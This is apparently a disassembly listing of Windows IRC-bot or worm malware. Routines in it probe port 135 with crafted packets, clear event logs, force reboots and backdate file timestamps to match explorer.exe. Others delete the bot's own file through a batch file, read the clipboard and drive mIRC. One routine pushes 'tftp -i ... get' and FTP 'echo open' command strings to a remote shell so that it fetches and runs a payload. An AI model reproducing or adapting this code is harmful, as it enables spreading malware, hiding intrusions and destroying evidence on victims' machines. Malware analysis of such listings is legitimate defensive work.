		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4246C0
		call	sub_4194F8
		mov	cl, 41h


loc_4152CB:				; CODE XREF: sub_414F6D+33Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4152D5:				; CODE XREF: sub_414F6D+2EBj
					; sub_414F6D+344j
		cmp	ebx, 2
		jge	short loc_415353
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4246D0
		call	sub_4194F8
		cmp	eax, 1
		jnz	short loc_415353
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4246B0
		call	sub_4194F8
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4246A8
		call	sub_4194F8
		cmp	eax, 1
		jnz	short loc_415353
		cmp	ebx, eax
		jge	short loc_415353
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4246A0
		call	sub_4194F8
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_415353:				; CODE XREF: sub_414F6D+1ACj
					; sub_414F6D+36Bj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_418350
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41536C	proc near		; CODE XREF: sub_4153A4+125p
					; sub_4153A4+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_41539A


loc_41537D:				; CODE XREF: sub_41536C+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41A280
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4153A0
		inc	esi
		cmp	esi, edi
		jl	short loc_41537D


loc_41539A:				; CODE XREF: sub_41536C+Fj
		xor	al, al


loc_41539C:				; CODE XREF: sub_41536C+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4153A0:				; CODE XREF: sub_41536C+27j
		mov	al, 1
		jmp	short loc_41539C
sub_41536C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153A4	proc near		; CODE XREF: sub_40CFB7+8Bp

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_418880
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_4153E5
		dec	eax
		jz	short loc_4153C3
		dec	eax


loc_4153BD:				; CODE XREF: sub_4153A4+57j
		xor	eax, eax


loc_4153BF:				; CODE XREF: sub_4153A4+3Fj
					; sub_4153A4+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4153C3:				; CODE XREF: sub_4153A4+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CDF20	; inet_addr
		push	eax
		call	sub_40B0B0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4153BF
; ---------------------------------------------------------------------------


loc_4153E5:				; CODE XREF: sub_4153A4+13j
		push	6
		push	1
		push	2
		call	dword_4CDF60	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4153BD
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CDEE4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_409B6B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CDE90	; connect
		cmp	eax, edi
		jz	loc_415501
		push	ebx
		push	48h
		push	offset dword_43BBA0
		push	esi
		call	dword_4CDF30	; send
		cmp	eax, edi
		jz	loc_415501
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDEFC	; recv
		cmp	eax, edi
		jz	loc_415501
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_415501
		push	ebx
		push	18h
		push	offset dword_43BBEC
		push	[ebp+arg_4]
		call	dword_4CDF30	; send
		cmp	eax, edi
		jz	short loc_415501
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDEFC	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_415501
		cmp	[ebp+var_200E],	2
		jnz	short loc_415501
		push	10h
		push	offset loc_43BC08
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_41536C
		add	esp, 10h
		test	al, al
		jz	short loc_4154E1
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_415501
; ---------------------------------------------------------------------------


loc_4154E1:				; CODE XREF: sub_4153A4+12Fj
		push	10h
		push	offset dword_43BC1C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_41536C
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_415501:				; CODE XREF: sub_4153A4+9Bj
					; sub_4153A4+B2j ...
		push	[ebp+arg_4]
		call	dword_4CDF78	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_4153BF
sub_4153A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415512	proc near		; CODE XREF: sub_401AA1+90Ep
					; sub_401AA1+948p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_41559D
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_41559D
		cmp	[ebp+arg_8], esi
		jz	short loc_41559D
		cmp	byte ptr [eax],	0
		jz	short loc_41559D
		push	ebx
		push	edi
		call	sub_423049
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_415598
		push	[ebp+arg_4]
		push	edi
		call	sub_418660
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_415591
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418350
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417D40
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418F40
		push	[ebp+arg_4]
		call	sub_417D40
		add	eax, esi
		push	eax
		push	ebx
		call	sub_418C20
		push	ebx
		push	edi
		call	sub_418C10
		add	esp, 30h
		mov	esi, edi


loc_415591:				; CODE XREF: sub_415512+3Cj
		push	ebx
		call	sub_417E11
		pop	ecx


loc_415598:				; CODE XREF: sub_415512+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_41559F
; ---------------------------------------------------------------------------


loc_41559D:				; CODE XREF: sub_415512+Cj
					; sub_415512+13j ...
		xor	eax, eax


loc_41559F:				; CODE XREF: sub_415512+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415512	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155A3	proc near		; CODE XREF: sub_401925+E9p
					; sub_40F755+F7p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_4182F0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417D40
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_4155DB
		or	eax, 0FFFFFFFFh
		jmp	short loc_415642
; ---------------------------------------------------------------------------


loc_4155DB:				; CODE XREF: sub_4155A3+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_4155FC


loc_4155E7:				; CODE XREF: sub_4155A3+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4155F4
		cmp	dl, 0Dh
		jnz	short loc_4155F7


loc_4155F4:				; CODE XREF: sub_4155A3+4Aj
		mov	[ecx+esi], bl


loc_4155F7:				; CODE XREF: sub_4155A3+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4155E7


loc_4155FC:				; CODE XREF: sub_4155A3+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_415624


loc_415602:				; CODE XREF: sub_4155A3+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_41561F
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_41561F
		cmp	edi, 1F4h
		jge	short loc_415624
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi


loc_41561F:				; CODE XREF: sub_4155A3+62j
					; sub_4155A3+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_415602


loc_415624:				; CODE XREF: sub_4155A3+5Dj
					; sub_4155A3+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_415640
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_419070
		add	esp, 0Ch


loc_415640:				; CODE XREF: sub_4155A3+84j
		mov	eax, edi


loc_415642:				; CODE XREF: sub_4155A3+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_415647	proc near		; CODE XREF: sub_4156A1+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_415680
		push	ebx
		mov	ebx, edi


loc_415664:				; CODE XREF: sub_415647+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_415683
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_415664
		pop	ebx


loc_415680:				; CODE XREF: sub_415647+18j
		pop	edi
		pop	esi
		retn
sub_415647	endp


; =============== S U B	R O U T	I N E =======================================



sub_415683	proc near		; CODE XREF: sub_415647+25p
					; sub_4156A1+69p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41A32C
		cmp	al, 61h
		pop	ecx
		jl	short loc_41569E
		cmp	al, 7Ah
		jg	short loc_41569E
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_41569E:				; CODE XREF: sub_415683+Ej
					; sub_415683+12j
		xor	eax, eax
		retn
sub_415683	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156A1	proc near		; CODE XREF: sub_41401B+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_418880
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417D40
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417D40
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_415647
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_415753
; ---------------------------------------------------------------------------


loc_4156E1:				; CODE XREF: sub_4156A1+B4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41A32C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41A32C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_415751


loc_415703:				; CODE XREF: sub_4156A1+AEj
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_415683
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_415724
		mov	eax, ecx


loc_415724:				; CODE XREF: sub_4156A1+7Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_415761
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41A32C
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_41A32C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_415703


loc_415751:				; CODE XREF: sub_4156A1+60j
		dec	edi
		dec	esi


loc_415753:				; CODE XREF: sub_4156A1+3Ej
		test	esi, esi
		jg	short loc_4156E1
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_41575C:				; CODE XREF: sub_4156A1+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415761:				; CODE XREF: sub_4156A1+88j
		xor	eax, eax
		jmp	short loc_41575C
sub_4156A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415765	proc near		; CODE XREF: sub_401AA1+5EDEp
					; sub_401AA1+6A6Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_42408C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_42413C	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_41579E:				; CODE XREF: sub_415765+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4157AA
		cmp	cl, 9
		jnz	short loc_4157AD


loc_4157AA:				; CODE XREF: sub_415765+3Ej
		inc	eax
		jmp	short loc_41579E
; ---------------------------------------------------------------------------


loc_4157AD:				; CODE XREF: sub_415765+43j
					; sub_415765+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4157C7
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4157AD
		cmp	cl, 21h
		jl	short loc_4157AD


loc_4157C7:				; CODE XREF: sub_415765+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DC228
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_4186E0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415765	endp


; =============== S U B	R O U T	I N E =======================================



sub_4157EF	proc near		; CODE XREF: sub_401AA1+1FC6p
		push	esi
		push	0
		call	dword_4CDEB4	; OpenClipboard
		test	eax, eax
		jz	short loc_415826
		push	1
		call	dword_4CDED4	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_415826
		push	edi
		push	esi
		call	dword_424144	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_424140	; GlobalUnlock
		call	dword_4CDF34	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415826:				; CODE XREF: sub_4157EF+Bj
					; sub_4157EF+19j
		xor	eax, eax
		pop	esi
		retn
sub_4157EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41582A	proc near		; CODE XREF: sub_401AA1+69DCp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CDEF0	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4158A6
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_424150	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_42414C	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4185E6
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CDF3C	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CDF3C	; SendMessageA
		push	ebx
		call	dword_424148	; UnmapViewOfFile
		push	edi
		call	dword_424068	; CloseHandle
		xor	eax, eax
		pop	ebx
		inc	eax
		jmp	short loc_4158A8
; ---------------------------------------------------------------------------


loc_4158A6:				; CODE XREF: sub_41582A+16j
		xor	eax, eax


loc_4158A8:				; CODE XREF: sub_41582A+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41582A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4158AC	proc near		; CODE XREF: sub_40121E+200p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CDF98	; SearchPathA
		test	eax, eax
		jz	short loc_41594B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4240EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41594B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_424158	; GetFileTime
		push	ebx
		mov	ebx, dword_424068
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41594B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_424154	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_41594B:				; CODE XREF: sub_4158AC+2Aj
					; sub_4158AC+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4158AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415950	proc near		; CODE XREF: sub_401AA1+12F4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_416D26
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CDE34	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_415950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415972	proc near		; CODE XREF: sub_401AA1+2289p
					; sub_4142F9+45Fp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_426094, esi
		push	edi
		jz	short loc_415996
		cmp	dword_4CDFAC, esi
		jnz	short loc_415996
		push	esi
		call	sub_401000
		pop	ecx


loc_415996:				; CODE XREF: sub_415972+13j
					; sub_415972+1Bj
		call	sub_40A2F3
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4240B0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4240EC	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_415AF6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4240E0	; WriteFile
		push	edi
		call	dword_424068	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_4182F0
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_4400B4
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_42409C	; GetModuleHandleA
		push	eax
		call	dword_424070	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_424098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415A9E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_424094	; SetFileAttributesA


loc_415A9E:				; CODE XREF: sub_415972+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4185E6
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_42415C	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_42406C	; CreateProcessA


loc_415AF6:				; CODE XREF: sub_415972+72j
		pop	edi
		pop	esi
		leave
		retn
sub_415972	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AFA	proc near		; CODE XREF: sub_401AA1+67EBp

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4240C8	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_415B90
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CDE70	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4CDE7C	; ClearEventLogA
		test	eax, eax
		jz	short loc_415B82
		push	[ebp+arg_10]
		push	offset dword_43BD28


loc_415B5B:				; CODE XREF: sub_415AFA+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_4185E6
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h
		jmp	short loc_415BBA
; ---------------------------------------------------------------------------


loc_415B82:				; CODE XREF: sub_415AFA+57j
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43BD00
		jmp	short loc_415B5B
; ---------------------------------------------------------------------------


loc_415B90:				; CODE XREF: sub_415AFA+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43BCD0
		push	eax
		call	sub_4185E6
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 1Ch


loc_415BBA:				; CODE XREF: sub_415AFA+86j
		pop	edi
		leave
		retn
sub_415AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BBD	proc near		; CODE XREF: sub_40CA12+4F9p
					; sub_40CFB7+480p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CDF20	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4CDEE4	; htons
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CDF60	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_BC], esi
		jz	loc_415CC0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CDE90	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_415CC0
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_4CDEFC	; recv
		mov	esi, offset byte_4260F8
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_409C7B
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_4186E0
		movzx	eax, word ptr dword_4CDC38
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_409C7B
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_BC]
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415CC4


loc_415CC0:				; CODE XREF: sub_415BBD+56j
					; sub_415BBD+6Cj
		xor	al, al
		jmp	short loc_415CE8
; ---------------------------------------------------------------------------


loc_415CC4:				; CODE XREF: sub_415BBD+101j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	dword_4CDEFC	; recv
		push	[ebp+arg_BC]
		call	dword_4CDF78	; closesocket
		mov	al, 1


loc_415CE8:				; CODE XREF: sub_415BBD+105j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CED	proc near		; CODE XREF: sub_401AA1+4D44p

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4240C8	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_415D32
		cmp	[ebp+var_8C], 0
		jnz	loc_415DBC
		xor	eax, eax
		inc	eax
		cmp	[ebp+var_84], eax
		jz	locret_415DBA


loc_415D32:				; CODE XREF: sub_415CED+27j
					; sub_415CED+DFj
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4240B8	; LoadLibraryA
